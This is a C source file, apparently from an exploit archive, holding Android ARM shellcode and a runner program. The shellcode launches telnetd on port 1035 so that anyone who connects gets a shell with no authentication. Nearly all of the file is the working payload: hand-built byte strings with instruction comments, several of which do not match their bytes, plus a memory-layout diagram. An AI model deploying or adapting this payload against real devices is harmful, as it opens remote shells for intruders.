/* Title: Android/ARM - telnetd with three parameters and an environment variable Date: 2015-07-31 Tested on: Android Emulator and Samsung Note 10.1 (Android version 4.1.2) Author: Steven Padilla - email: spadilla@tresys.com Organization: Tresys LLC Vendor HomePage: www.tresys.com Version: 1.0 Android ARM shellcode with dynamic string creation and including no 0x20, 0x0a and 0x00. This shellcode will execute telnetd listening on port 1035. Whenever anyone connects to port 1035 they will be presented with a shell prompt. This code assumes that telnetd and sh are executables in the /system/bin/ directory. In order to minimize the length of the shellcode the beginning of the path /system/bin/ is created once and stored three times. The executable name (/system/bin/telnetd), the other two paramaters (-p1035 and -l/system/bin/sh) and the environment variable (PATH=/system/bin) are strings that are created and stored in memory above the top of the stack. The strings are created by first moving a byte to register1, left shitf register1 8 bits, add the next byte, left shift again, add the next byte, left shift again and then adding the fourth byte. Note that due to endianess the bytes are added in reverse order. Thus if the string to be created is "/adb" the 'b' would be moved into r1, followed by the shift and then the 'd' is added, shift, then the 'a', shift, and finally the '/'. In the example below the stack pointer has the value 0xbe91da08. Right before calling the execve call (i.e., svc 1 with register 7 containing 11) register0 is loaded with the 0xbe91da24, register1 is loaded with the 0xbe91da0c and register2 is loaded with 0xbe91da1c. The memory above the stack should look like the following (note to make it easier to read the strings are presented in the order they appear if you read them as strings. If you look at each word you will see the bytes in reverse order due to endianess) : +----------------------------------+ 0xbe91da08 | NULL | This is where the stack | | pointer is pointing. +----------------------------------+ 0xbe91da0c | 0xbe91da24 | These first three entries | | are pointers to the path | | of the executable and its | | two parameters. +----------------------------------+ 0xbe91da10 | 0xbe91da50 | +----------------------------------+ 0xbe91da14 | 0xbe91da5f | +----------------------------------+ 0xbe91da18 | NULL | The list of parameters must | | be terminated by a NULL. +----------------------------------+ 0xbe91da1c | 0xbe91da88 | This points to the first | | (and only) environment | | variable. +----------------------------------+ 0xbe91da20 | NULL | The list of environment | | variables must be terminated | | by a NULL. +----------------------------------+ 0xbe91da24 | "//system/bin/telnetd" | This is where the name of | | the executable and the first | | parameter is stored. +----------------------------------+ 0xbe91da50 | "-p1035" | This is where the second | | parameter is stored. +----------------------------------+ 0xbe91da5f | "-l/system/bin/sh" | This is where the third | | parameter is stored. +----------------------------------+ 0xbe91da88 | "PATH=/system/bin/" | This is where the first | | environment variable is | | stored. +----------------------------------+ */ #include <stdio.h> #include <string.h> char *SC = "\x01\x30\x8f\xe2" //add r3,pc, #1 "\x13\xff\x2f\xe1" //bx r3 "\x78\x46" //mov r0, pc "\x18\x30" //adds r0, 0x18 "\x92\x1a" // subs r2,r2,r2 "\x49\x1a" // subs r1, r1, r1 "\x6a\x44" // add r2, sp "\x79\x21" // mov r1, 'y' "\x09\x02" // LSL r1,r1, #8 "\x73\x31" // adds r1, 's' "\x09\x02" // LSL r1,r1, #8 "\x2f\x31" // adds r1, '/' "\x09\x02" // LSL r1,r1, #8 "\x2f\x31" // adds r1, '/' "\x07\x91" // str r1, [sp, #4] "\x12\x25" // mov r5, 0x12 "\x4d\x40" // eor r5,r1 "\x21\x95" // str r5, [sp, #4] "\x43\x25" // mov r5, 0x43 "\x4d\x40" // eor r5,r1 "\x16\x95" // str r5, [sp, #4] "\x6d\x21" // mov r1, 'm' "\x09\x02" // LSL r1,r1, #8 "\x65\x31" // adds r1, 'e' "\x09\x02" // LSL r1,r1, #8 "\x74\x31" // adds r1, 't' "\x09\x02" // LSL r1,r1, #8 "\x73\x31" // adds r1, 's' "\x08\x91" // str r1, [sp, 0x8] "\x17\x91" // str r1, [sp, 0x17] "\x22\x91" // str r1, [sp, 0x22] "\x6e\x21" // mov r1, 'n' "\x09\x02" // LSL r1,r1, #8 "\x69\x31" // adds r1, 'i' "\x09\x02" // LSL r1,r1, #8 "\x62\x31" // adds r1, 'b' "\x09\x02" // LSL r1,r1, #8 "\x2f\x31" // adds r1, '/' "\x09\x91" // str r1, [sp, 0x9] "\x18\x91" // str r1, [sp, 0x18] "\x23\x91" // str r1, [sp, 0x23] "\x6c\x21" // mov r1, 'l' "\x09\x02" // LSL r1,r1, #8 "\x65\x31" // adds r1, 'e' "\x09\x02" // LSL r1,r1, #8 "\x74\x31" // adds r1, 't' "\x09\x02" // LSL r1,r1, #8 "\x2f\x31" // adds r1, '/' "\x28\x24" // mov r4, 0x0f "\x11\x51" // str r1, [r2, r4] "\x6c\x25" // mov r5, 'l' "\x2d\x02" // LSL r1,r1, #8 "\x0d\x35" // adds r5, 0x0d "\x2d\x02" // LSL r1,r1, #8 "\x07\x35" // adds r5, 0x07 "\x2d\x02" // LSL r1,r1, #8 "\x4d\x40" // eor r5,r1 "\x19\x95" // str r5, [sp, 0x19] "\x64\x21" // mov r1, 'd' "\x09\x02" // LSL r1,r1, #8 "\x74\x31" // adds r1, 't' "\x09\x02" // LSL r1,r1, #8 "\x65\x31" // adds r1, 'e' "\x09\x02" // LSL r1,r1, #8 "\x6e\x31" // adds r1, 'n' "\x0b\x91" // str r1, [sp, 0xb] "\x49\x1a" // subs r1, r1, r1 "\x0c\x91" // str r1, [sp, 0xc] "\x30\x21" // mov r1, '0' "\x09\x02" // LSL r1,r1, #8 "\x31\x31" // adds r1, '1' "\x09\x02" // LSL r1,r1, #8 "\x70\x31" // adds r1, 'p' "\x09\x02" // LSL r1,r1, #8 "\x2d\x31" // adds r1, '-' "\x12\x91" // str r1, [sp, #44] "\x49\x1a" // subs r1, r1, r1 "\x35\x31" // add r1, '5' "\x09\x02" // LSL r1,r1, #8 "\x33\x31" // adds r1, '3' "\x13\x91" // str r1, [sp, 0x13] "\x49\x1a" // subs r1, r1, r1 "\x14\x91" // str r1, [sp, 0x14] "\x2d\x21" // mov r1, '-' "\x09\x02" // LSL r1,r1, #8 "\x09\x02" // LSL r1,r1, #8 "\x09\x02" // LSL r1,r1, #8 "\x15\x91" // str r1, [sp, 0x15] "\x49\x1a" // subs r1, r1, r1 "\x1f\x91" // str r1, [sp, 0x1f] "\x48\x21" // mov r1, 'H' "\x09\x02" // LSL r1,r1, #8 "\x54\x31" // adds r1, 'T' "\x09\x02" // LSL r1,r1, #8 "\x41\x31" // adds r1, 'A' "\x09\x02" // LSL r1,r1, #8 "\x50\x31" // adds r1, 'P' "\x80\x24" // mov r4, 0x0f "\x11\x51" // str r1, [r2, r4] "\x2f\x21" // mov r1, '/' "\x24\x91" // str r1, [sp, 0x24] "\x04\x32" // add r2, 0x4 "\x49\x1a" // subs r1, r1, r1 "\x11\x1c" // add r1, r2, #0 "\x18\x31" // add r1, 0x18 "\x01\x91" // str r1, [sp, 0x1] "\x2c\x31" // add r1, #40 "\x02\x91" // str r1, [sp, 0x2] "\x0f\x31" // add r1, #4 "\x03\x91" // str r1, [sp, 0x3] "\x29\x31" // add r1, #28 "\x05\x91" // str r1, [sp, #0x5] "\x49\x1a" // subs r1, r1, r1 "\x04\x91" // str r1, [sp, 0x4] "\x06\x91" // str r1, [sp, 0x6] "\x10\x1c" // add r0, r2, #0 "\x18\x30" // add r0, 0x18 "\x11\x1c" // add r1, r2, #0 "\x10\x32" // adds r2, 0x10 "\xdb\x1a" // subs r3, r3, r3 "\x0b\x27" //movs r7,#11 "\x01\xdf"; //svc 1 int main(void) { (*(void(*) ()) SC) (); return 0; }